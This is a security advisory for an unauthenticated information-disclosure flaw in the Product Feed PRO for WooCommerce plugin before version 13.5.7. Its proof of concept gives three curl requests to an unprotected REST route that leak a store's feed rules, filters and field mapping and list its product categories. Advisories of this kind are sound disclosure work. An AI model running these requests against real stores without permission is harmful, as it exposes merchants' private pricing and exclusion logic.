Product Feed PRO for WooCommerce < 13.5.7 – Unauthenticated Feed Configuration Disclosure | CVE 2026-16611

Description

The plugin does not perform an authorization check on one of its REST read routes, allowing unauthenticated users to disclose a store's feed configuration (rules, filters and field mapping) and to enumerate the full product category taxonomy.

Proof of Concept

Prerequisite: WooCommerce active and at least one configured product feed (category enumeration works even without a configured feed). FEED_ID is a sequential post ID, so feeds are enumerable.

Unauthenticated (no cookies, no nonce):

# Disclose a feed's rules (pricing/exclusion logic) and field mapping:
curl -s "https://victim.example/?rest_route=/adtribes/v1/filters-rules/FEED_ID&type=rules"
# -> HTTP 200; the feed's rules and field mapping are returned

# Disclose a feed's include/exclude filter logic:
curl -s "https://victim.example/?rest_route=/adtribes/v1/filters-rules/FEED_ID&type=filters"
# -> HTTP 200; the feed's filter logic is returned

# Enumerate the full product category taxonomy (including non-storefront categories):
curl -s "https://victim.example/?rest_route=/adtribes/v1/filters-rules/new&type=rules"
# -> HTTP 200; every product_cat term is listed

On 13.5.7 each of the three returns HTTP 401 {"code":"rest_forbidden"}.